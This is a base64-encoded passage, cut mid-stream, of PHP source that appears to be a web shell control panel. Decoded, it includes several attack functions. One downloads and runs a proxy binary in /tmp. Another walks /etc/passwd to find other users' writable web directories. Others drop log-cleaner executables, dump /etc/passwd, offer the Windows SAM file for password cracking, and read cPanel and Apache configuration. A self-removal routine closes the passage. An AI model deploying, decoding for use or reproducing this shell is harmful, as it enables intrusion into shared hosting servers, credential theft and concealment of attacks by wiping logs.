+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCn0NCg0KDQoNCmlmICgkeCA9PSAncHJveHknKSB7DQogaWYgKCRfR0VUWydpcGlzayddID09ICd5dXAnKSB7DQogICBjZigiL3RtcC9oYW50dS50Z3oiLCRwcm94eV9zaGl0KTsNCiAgIGV4KCJjZCAvdG1wO3RhciAtenh2ZiBoYW50dS50Z3oiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjtjaG1vZCA3NzcgeGgiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjtjaG1vZCA3NzcgaHR0cGQiKTsNCiAgIGV4KCJjZCAvdG1wO2NkIC5zZXRhbjsuL3hoIC1zIFtrbW9kXSAuL2h0dHBkIHN0YXJ0Iik7DQogICBjaGVja3Byb3h5aG9zdCgpOw0KICAgJG1zZyA9ICRfUE9TVFsncHJveHlob3N0bXNnJ107DQogICBlY2hvKCIkbXNnIik7DQogICB1bmxpbmsoIi90bXAvaGFudHUudGd6Iik7DQogICBleCgiY2QgL3RtcDsgcm0gLXIgLnNldGFuIik7DQogfWVsc2UNCiAgZWNobyAnPGNlbnRlcj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gaW5zdGFsbCBhbiBJUDpQb3J0IHByb3h5IG9uIHRoaXMgd2Vic2l0ZS9zZXJ2ZXI/PGJyIC8+UGxlYXNlIG5vdGUsIHNvbWUgc2VydmVycyB3aXRoIGZpcmV3YWxscyBvciBvdGhlciBzZWN1cml0eSBmZWF0dXJlcyBtYXkgbm90IGJlIGNvbXBhdGlibGUgd2l0aCB0aGlzLCBldmVuIGlmIHRoZSBwcm94eSBhcHBlYXJzIHRvIGJlIGluc3RhbGxlZC48YnIgLz48YnIgLz48Yj48Zm9udCBjb2xvcj1ncmVlbj48YSBocmVmPSInLiRzdXJsLicmeD1wcm94eSZpcGlzaz15dXAiPlllczwvYT48L2ZvbnQ+PC9iPiB8fCA8Yj48Zm9udCBjb2xvcj1yZWQ+PGEgaHJlZj0iJy4kc3VybC4nIj5ObzwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPic7DQp9DQoNCg0KDQppZiAoJHggPT0gJ2ZpbmR3cicpIHsNCg0KJGNvdW50PTA7DQpzZXRfdGltZV9saW1pdCgwKTsNCkAkcGFzc3dkPWZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCmlmICghJHBhc3N3ZCkgew0KICAgZWNobyAiWy1dIE5vIEFjY2VzcyB0byAvZXRjL3Bhc3N3ZFxuXHIiOw0KICAgZXhpdDsNCn0NCiRwYXRoX3RvX3B1YmxpYz1hcnJheSgpOw0KDQplY2hvICI8aHRtbD5cblxyIjsNCg0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpIHsNCiAgJHN0cj1mZ2V0cygkcGFzc3dkKTsNCiAgICAkcG9zPXN0cnBvcygkc3RyLCI6Iik7DQogICAgJHVzZXJuYW1lPXN1YnN0cigkc3RyLDAsJHBvcyk7DQogICAgJGRpcno9Ii9ob21lLyR1c2VybmFtZS9wdWJsaWNfaHRtbC8iOw0KICAgIGlmICgoJHVzZXJuYW1lIT0iIikpIHsNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKCRkaXJ6KSkgew0KICAgICAgICAgYXJyYXlfcHVzaCgkcGF0aF90b19wdWJsaWMsJGRpcnopOw0KICAgICAgICAgaWYgKGlzX3dyaXRlYWJsZSgkZGlyeikpIHsNCiAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPls8L2ZvbnQ+PGZvbnQgY29sb3I9d2hpdGU+UjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj5XPC9mb250Pjxmb250IGNvbG9yPXJlZD5dPC9mb250PiAiIC4gJGRpcnogLiAiPGJyPlxuXHIiOw0KICAgICAgICAgfQ0KICAgICAgICAgZWxzZSBlY2hvICI8Zm9udCBjb2xvcj1yZWQ+WzwvZm9udD48Zm9udCBjb2xvcj13aGl0ZT5SPC9mb250Pjxmb250IGNvbG9yPXJlZD5dPC9mb250PiAiIC4gJGRpcnogLiAiPGJyPlxuXHIiOw0KICAgICAgICB9DQogICAgfQ0KfQ0KZWNobyAiWytdIEZvdW5kICIgLiBzaXplb2YoJHBhdGhfdG9fcHVibGljKSAuICIgcmVhZGFibGUgcHVibGljX2h0bWwgZGlyZWN0b3JpZXMuPGJyPjxicj5cblxyXG5cciI7DQoNCmlmIChzaXplb2YoJHBhdGhfdG9fcHVibGljKSAhPSAnMCcpIHsNCiAgIGZvcmVhY2ggKCRwYXRoX3RvX3B1YmxpYyBhcyAkcGF0aCkgew0KICAgICAgICAgICByZWFkX2RpcigkcGF0aCk7DQogICB9DQogICANCiAgIGVjaG8gIlsrXSBGb3VuZCAiIC4gJGNvdW50IC4gIiB3cml0YWJsZSBkaXJlY3Rvcmllcy5cblxyIjsNCiAgIGVjaG8gIjwvaHRtbD4iOw0KfQ0KDQpmdW5jdGlvbiByZWFkX2RpcigkcGF0aCkgew0KICAgZ2xvYmFsICRjb3VudDsNCiAgIGlmICgkaGFuZGxlID0gb3BlbmRpcigkcGF0aCkpIHsNCiAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgICRkcj0iJHBhdGgkZmlsZS8iOw0KICAgICAgICAgaWYgKCgkZmlsZSE9Jy4nKSBhbmQgKCRmaWxlIT0nLi4nKSBhbmQgaXNfZGlyKCRkcikpIHsNCiAgICAgICAgICAgIGlmIChpc19yZWFkYWJsZSgkZHIpIGFuZCBpc193cml0ZWFibGUoJGRyKSkgew0KICAgICAgICAgICAgICAgZWNobyAiW1JXXSAiIC4gJGRyIC4gIjxicj5cblxyIjsNCiAgICAgICAgICAgICAgICRjb3VudCsrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmVhZF9kaXIoJGRyKTsNCiAgICAgICAgIH0NCiAgICAgIH0NCiAgIH0NCn0NCg0KDQoNCn0NCg0KDQppZiAoJGFjdCA9PSAnemFwMicpIHsgLy8gKm5peCBjbGVhbmVyDQoJaWYgKGlzX3dyaXRhYmxlKCcuJykpIHsNCgkJY2YoJGFjdCwgJCRhY3QpOyAvLyAndGlzIHB1cmUgaW5ub3ZhdGlvbiBvZiBvcHRpbWl6YXRpb24gOikNCgkJY2htb2QoJGFjdCwgMDc3Nyk7DQoJCSRjbWQgPSAnLi8nLiRhY3Q7IC8vIGtlZXAgdGhpcyBiZWZvcmUgJGFjdCA9ICdjbWQnOw0KCQkkYWN0ID0gJ2NtZCc7DQoJCSRjbWRfdHh0ID0gJzEnOw0KCX1lbHNlew0KCQllY2hvICdEaXJlY3RvcnkgSXMgTm90IFdyaXRhYmxlITxicj4nOw0KCX0NCn0NCmlmICgkYWN0ID09ICdjbGVhcmxvZ3MnKSB7IC8vIHdpbmRvd3MgY2xlYW5lcnMNCglpZiAoaXNfd3JpdGFibGUoJy4nKSkgew0KCQljZigkYWN0LicuZXhlJywgJCRhY3QpOw0KCQljaG1vZCgkYWN0LicuZXhlJywgMDc3Nyk7DQoJCSRjbWQgPSAkYWN0LicuZXhlJzsNCgkJJGFjdCA9ICdjbWQnOw0KCQkkY21kX3R4dCA9ICcxJzsNCgl9ZWxzZXsNCgkJZWNobyAnRGlyZWN0b3J5IElzIE5vdCBXcml0YWJsZSE8YnI+JzsNCgl9DQp9DQoNCmlmICgkeCA9PSAicGhwaW5mbyIpIHtAb2JfY2xlYW4oKTsgcGhwaW5mbygpOyBjYXByaXY4ZXhpdCgpO30NCmlmICgkeCA9PSAic2VjdXJpdHkiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFNlcnZlciBTZWN1cml0eSBJbmZvcm1hdGlvbiA6LjwvZGl2PiIuDQogICAgICAgIjx0YWJsZT4iLg0KICAgICAgICI8dHI+PHRkPk9wZW4gQmFzZSBEaXI8L3RkPjx0ZD4iLiRob3BlbmJhc2VkaXIuIjwvdGQ+PC90cj4iOw0KICBlY2hvICI8dGQ+UGFzc3dvcmQgRmlsZTwvdGQ+PHRkPiI7DQogIGlmICghJHdpbikgew0KICAgIGlmICgkbml4cGFzc3dkKSB7DQogICAgICBpZiAoJG5peHBhc3N3ZCA9PSAxKSB7JG5peHBhc3N3ZCA9IDA7fQ0KICAgICAgZWNobyAiKm5peCAvZXRjL3Bhc3N3ZDo8YnI+IjsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkbml4cHdkX3MpKSB7JG5peHB3ZF9zID0gMDt9DQogICAgICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9lKSkgeyRuaXhwd2RfZSA9ICRuaXhwd2RwZXJwYWdlO30NCiAgICAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9XCJzZWN1cml0eVwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJWaWV3XCI+PC9mb3JtPjxicj4iOw0KICAgICAgJGkgPSAkbml4cHdkX3M7DQogICAgICB3aGlsZSAoJGkgPCAkbml4cHdkX2UpIHsNCiAgICAgICAgJHVpZCA9IHBvc2l4X2dldHB3dWlkKCRpKTsNCiAgICAgICAgaWYgKCR1aWQpIHsNCiAgICAgICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD1scyZkPSIudXJsZW5jb2RlKCR1aWRbImRpciJdKS4iXCI+Ii4kdWlkWyJkaXIiXS4iPC9hPiI7DQogICAgICAgICAgZWNobyBqb2luKCI6IiwkdWlkKS4iPGJyPiI7DQogICAgICAgIH0NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICB9DQogICAgZWxzZSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c2VjdXJpdHkmbml4cGFzc3dkPTEmZD0iLiR1ZC4iXCI+PGI+PHU+R2V0IC9ldGMvcGFzc3dkPC91PjwvYj48L2E+Ijt9DQogIH0NCiAgZWxzZSB7DQogICAgJHYgPSAkX1NFUlZFUlsiV0lORElSIl0uIlxyZXBhaXJcc2FtIjsNCiAgICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPHRkIGNvbHNwYW49Mj48ZGl2IGNsYXNzPWZ4ZXJybXNnPllvdSBjYW4ndCBjcmFjayBXaW5kb3dzIHBhc3N3b3JkcygiLiR2LiIpPC9kaXY+PC90ZD48L3RyPiI7IH0NCiAgICBlbHNlIHtlY2hvICJZb3UgY2FuIGNyYWNrIFdpbmRvd3MgcGFzc3dvcmRzLiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyA/LjwvdGQ+PC90cj4iO30NCiAgfQ0KICBlY2hvICI8L3RkPjwvdHI+IjsNCiAgZWNobyAiPHRyPjx0ZD5Db25maWcgRmlsZXM8L3RkPjx0ZD4iOw0KICBpZiAoISR3aW4pIHsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiVXNlciBEb21haW5zIiwiL2V0Yy91c2VyZG9tYWlucyIpLA0KICAgICAgICBhcnJheSgiQ3BhbmVsIENvbmZpZyIsIi92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL3Vzci9sb2NhbC9hcGFjaGUvY29uZi9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJBcGFjaGUgQ29uZmlnIiwiL2V0Yy9odHRwZC5jb25mIiksDQogICAgICAgIGFycmF5KCJTeXNsb2cgQ29uZmlnIiwiL2V0Yy9zeXNsb2cuY29uZiIpLA0KICAgICAgICBhcnJheSgiTWVzc2FnZSBvZiBUaGUgRGF5IiwiL2V0Yy9tb3RkIiksDQogICAgICAgIGFycmF5KCJIb3N0cyIsIi9ldGMvaG9zdHMiKQ0KICAgICk7DQogICAgJHNlcCA9ICIvIjsNCiAgfQ0KICBlbHNlIHsNCiAgICAkd2luZGlyID0gJF9TRVJWRVJbIldJTkRJUiJdOw0KICAgICRldGNkaXIgPSAkd2luZGlyIC4gIlxzeXN0ZW0zMlxkcml2ZXJzXGV0Y1xcIjsNCiAgICAkdiA9IGFycmF5KA0KICAgICAgICBhcnJheSgiSG9zdHMiLCRldGNkaXIuImhvc3RzIiksDQogICAgICAgIGFycmF5KCJMb2NhbCBOZXR3b3JrIE1hcCIsJGV0Y2Rpci4ibmV0d29ya3MiKSwNCiAgICAgICAgYXJyYXkoIkxNIEhvc3RzIiwkZXRjZGlyLiJsbWhvc3RzLnNhbSIpLA0KICAgICk7DQogICAgJHNlcCA9ICJcXCI7DQogIH0NCiAgZm9yZWFjaCAoJHYgYXMgJHNlY19hcnIpIHsNCiAgICAkc2VjX2YgPSBzdWJzdHIoc3RycmNocigkc2VjX2FyclsxXSwgJHNlcCksIDEpOw0KICAgICRzZWNfZCA9IHJ0cmltKCRzZWNfYXJyWzFdLCRzZWNfZik7DQogICAgJHNlY19mdWxsID0gJHNlY19kLiRzZWNfZjsNCiAgICAkc2VjX2QgPSBydHJpbSgkc2VjX2QsJHNlcCk7DQogICAgaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCRzZWNfZnVsbCkpIHsNCiAgICAgIGVjaG8gIiBbIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0kc2VjX2YmZD0iLnVybGVuY29kZSgkc2VjX2QpLiImZnQ9dHh0XCI+PHU+PGI+Ii4kc2VjX2FyclswXS4iPC9iPjwvdT48L2E+IF0gIjsNCiAgICB9DQogIH0NCiAgZWNobyAiPC90ZD48L3RyPiI7DQoNCiAgZnVuY3Rpb24gZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKSB7DQogICAgaWYgKCFlbXB0eSgkdmFsdWUpKSB7DQogICAgICBlY2hvICI8dHI+PHRkPiIuJG5hbWUuIjwvdGQ+PHRkPjxwcmU+Ii53b3Jkd3JhcCgkdmFsdWUsMTAwKS4iPC9wcmU+PC90ZD48L3RyPiI7DQogICAgfQ0KICB9DQogIGlmICghJHdpbikgew0KICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygiY2F0IC9wcm9jL3ZlcnNpb24iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIktlcm5lbCBWZXJzaW9uIixteXNoZWxsZXhlYygic3lzY3RsIC1hIHwgZ3JlcCB2ZXJzaW9uIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJEaXN0cmliIE5hbWUiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9pc3N1ZS5uZXQiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkRpc3RyaWIgTmFtZSAoMikiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy8qLXJlYWxpc2UiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkNQVSBJbmZvIixteXNoZWxsZXhlYygiY2F0IC9wcm9jL2NwdWluZm8iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIlJBTSIsbXlzaGVsbGV4ZWMoImZyZWUgLW0iKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkhERCBTcGFjZSIsbXlzaGVsbGV4ZWMoImRmIC1oIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMaXN0IG9mIEF0dHJpYnV0ZXMiLG15c2hlbGxleGVjKCJsc2F0dHIgLWEiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIk1vdW50IE9wdGlvbnMiLG15c2hlbGxleGVjKCJjYXQgL2V0Yy9mc3RhYiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiY1VSTCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggY3VybCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygibHlueCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggbHlueCIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygibGlua3MgaW5zdGFsbGVkPyIsbXlzaGVsbGV4ZWMoIndoaWNoIGxpbmtzIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJmZXRjaCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggZmV0Y2giKSk7DQogICAgZGlzcGxheXNlY2luZm8oIkdFVCBpbnN0YWxsZWQ/IixteXNoZWxsZXhlYygid2hpY2ggR0VUIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJwZXJsIGluc3RhbGxlZD8iLG15c2hlbGxleGVjKCJ3aGljaCBwZXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJXaGVyZSBpcyBBcGFjaGU/IixteXNoZWxsZXhlYygid2hlcmVpcyBhcGFjaGUiKSk7DQogICAgZGlzcGxheXNlY2luZm8oIldoZXJlIGlzIHBlcmw/IixteXNoZWxsZXhlYygid2hlcmVpcyBwZXJsIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJMb2NhdGUgcHJvZnRwZC5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHByb2Z0cGQuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIGh0dHBkLmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgaHR0cGQuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIG15LmNvbmYiLG15c2hlbGxleGVjKCJsb2NhdGUgbXkuY29uZiIpKTsNCiAgICBkaXNwbGF5c2VjaW5mbygiTG9jYXRlIHBzeWJuYy5jb25mIixteXNoZWxsZXhlYygibG9jYXRlIHBzeWJuYy5jb25mIikpOw0KICB9DQogIGVsc2Ugew0KICAgIGRpc3BsYXlzZWNpbmZvKCJPUyBWZXJzaW9uIixteXNoZWxsZXhlYygidmVyIikpOw0KICAgIGRpc3BsYXlzZWNpbmZvKCJBY2NvdW50IFNldHRpbmdzIixteXNoZWxsZXhlYygibmV0IGFjY291bnRzIikpOw0KICB9DQogIGVjaG8gIjwvdGFibGU+XG4iOw0KfQ0KaWYgKCR4ID09ICJta2ZpbGUiKSB7DQppZiAoJG1rZmlsZSAhPSAkZCkgew0KICBpZiAoZmlsZV9leGlzdHMoJG1rZmlsZSkpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogb2JqZWN0IGFscmVhZHkgZXhpc3RzISI7fQ0KICBlbHNlaWYgKCFmb3BlbigkbWtmaWxlLCJ3IikpIHtlY2hvICI8Yj5NYWtlIEZpbGUgXCIiLmh0bWxzcGVjaWFsY2hhcnMoJG1rZmlsZSkuIlwiPC9iPjogYWNjZXNzIGRlbmllZCEiO30NCiAgZWxzZSB7JHggPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fSAkZiA9IGJhc2VuYW1lKCRta2ZpbGUpO30NCn0NCmVsc2UgeyR4ID0gJGRzcGFjdCA9ICJscyI7fQ0KfQ0KaWYgKCR4ID09ICJlbmNvZGVyIikgew0KZWNobyAiPHNjcmlwdCBsYW5ndWFnZT1cImphdmFzY3JpcHRcIj5mdW5jdGlvbiBzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KSB7ZG9jdW1lbnQuZm9ybXMuZW5jb2Rlci5pbnB1dC52YWx1ZSA9IHRleHQ7fTwvc2NyaXB0PiIuDQogICAgICI8Zm9ybSBuYW1lPVwiZW5jb2RlclwiIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPiIuDQogICAgICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWVuY29kZXI+Ii4NCiAgICAgIjxjZW50ZXI+PHRhYmxlIGNsYXNzPWNvbnRlbnRzPiIuDQogICAgICI8dHI+PHRkIGNvbHNwYW49NCBjbGFzcz1iYXJoZWFkZXI+LjogRW5jb2RlciA6LjwvdGQ+Ii4NCiAgICAgIjx0cj48dGQgY29sc3Bhbj0yPklucHV0OjwvdGQ+PHRkPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTcwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+Ii4NCiAgICAgIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZCByb3dzcGFuPTQ+SGFzaGVzOjwvdGQ+IjsNCmZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpIHsNCiAgZWNobyAiPHRkPiIuJHYuIjo8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj48dHI+IjsNCn0NCmVjaG8gIjwvdHI+Ii4NCiAgICAgIjx0cj48dGQgcm93c3Bhbj0yPlVybDo8L3RkPiIuDQogICAgICI8dGQ+dXJsZW5jb2RlOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD51cmxkZWNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycyh1cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpKS4iXCIgcmVhZG9ubHk+PC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkIHJvd3NwYW49Mj5CYXNlNjQ6PC90ZD4iLg0KICAgICAiPHRkPmJhc2U2NF9lbmNvZGU6PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiIuYmFzZTY0X2VuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5PjwvdGQ+PC90cj4iLg0KICAgICAiPHRyPjx0ZD5iYXNlNjRfZGVjb2RlOjwvdGQ+PHRkPiI7DQppZiAoYmFzZTY0X2VuY29kZShiYXNlNjRfZGVjb2RlKCRlbmNvZGVyX2lucHV0KSkgIT0gJGVuY29kZXJfaW5wdXQpIHtlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9XCJGYWlsZWQhXCIgZGlzYWJsZWQgcmVhZG9ubHk+Ijt9DQplbHNlIHsNCiAgJGRlYmFzZTY0ID0gYmFzZTY0X2RlY29kZSgkZW5jb2Rlcl9pbnB1dCk7DQogICRkZWJhc2U2NCA9IHN0cl9yZXBsYWNlKCJcMCIsIlswXSIsJGRlYmFzZTY0KTsNCiAgJGEgPSBleHBsb2RlKCJcclxuIiwkZGViYXNlNjQpOw0KICAkcm93cyA9IGNvdW50KCRhKTsNCiAgJGRlYmFzZTY0ID0gaHRtbHNwZWNpYWxjaGFycygkZGViYXNlNjQpOw0KICBpZiAoJHJvd3MgPT0gMSkgeyBlY2hvICI8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kZGViYXNlNjQuIlwiIGlkPVwiZGViYXNlNjRcIiByZWFkb25seT4iOyB9DQogIGVsc2UgeyAkcm93cysrOyBlY2hvICI8dGV4dGFyZWEgY29scz1cIjQwXCIgcm93cz1cIiIuJHJvd3MuIlwiIG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiBpZD1cImRlYmFzZTY0XCIgcmVhZG9ubHk+Ii4kZGViYXNlNjQuIjwvdGV4dGFyZWE+IjsgfQ0KICBlY2hvICImbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJzZXRfZW5jb2Rlcl9pbnB1dChkb2N1bWVudC5mb3Jtcy5lbmNvZGVyLmRlYmFzZTY0LnZhbHVlKVwiPltTZW5kIHRvIGlucHV0XTwvYT4iOw0KfQ0KZWNobyAiPC90ZD48L3RyPiIuDQogICAgICI8dHI+PHRkPkJhc2UgY29udmVydGF0aW9uczo8L3RkPjx0ZD5kZWMyaGV4PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTM1IG9uRm9jdXM9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW92ZXI9XCJ0aGlzLnNlbGVjdCgpXCIgb25Nb3VzZW91dD1cInRoaXMuc2VsZWN0KClcIiB2YWx1ZT1cIiI7DQokYyA9IHN0cmxlbigkZW5jb2Rlcl9pbnB1dCk7DQpmb3IoJGk9MDskaTwkYzskaSsrKSB7DQogICRoZXggPSBkZWNoZXgob3JkKCRlbmNvZGVyX2lucHV0WyRpXSkpOw0KICBpZiAoJGVuY29kZXJfaW5wdXRbJGldID09ICImIikge2VjaG8gJGVuY29kZXJfaW5wdXRbJGldO30NCiAgZWxzZWlmICgkZW5jb2Rlcl9pbnB1dFskaV0gIT0gIlxcIikge2VjaG8gIiUiLiRoZXg7fQ0KfQ0KZWNobyAiXCIgcmVhZG9ubHk+PC90ZD48L3RyPjx0cj48dGQ+T25saW5lIG1kNSAsIHNoYTEgLCBteXNxbCBwYXNzd29yZCBjcmFja2VyPHRkPjxhIGhyZWY9XCJodHRwOi8vcGFzc2NyYWNraW5nLmNvbVwiIHRhcmdldD1fYmxhbms+RW50ZXI8L2E+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+PC9mb3JtPiI7DQp9DQppZiAoJHggPT0gImZzYnVmZiIpIHsNCiAgJGFycl9jb3B5ID0gJHNlc3NfZGF0YVsiY29weSJdOw0KICAkYXJyX2N1dCA9ICRzZXNzX2RhdGFbImN1dCJdOw0KICAkYXJyID0gYXJyYXlfbWVyZ2UoJGFycl9jb3B5LCRhcnJfY3V0KTsNCiAgaWYgKGNvdW50KCRhcnIpID09IDApIHtlY2hvICI8aDI+PGNlbnRlcj5CdWZmZXIgaXMgZW1wdHkhPC9jZW50ZXI+PC9oMj4iO30NCiAgZWxzZSB7DQogICAgJGZ4X2luZm9oZWFkID0gIkZpbGUtU3lzdGVtIEJ1ZmZlciI7DQogICAgJGxzX2FyciA9ICRhcnI7DQogICAgJGRpc3BfZnVsbHBhdGggPSBUUlVFOw0KICAgICR4ID0gImxzIjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJzZWxmcmVtb3ZlIikgew0KICBpZiAoKCRzdWJtaXQgPT0gJHJuZGNvZGUpIGFuZCAoJHN1Ym1pdCAhPSAiIikpIHsNCiAgICBpZiAodW5saW5rKF9fRklMRV9fKSkge0BvYl9jbGVhbigpOyBlY2hvICJUaGFua3MgZm9yIHVzaW5nIGZ4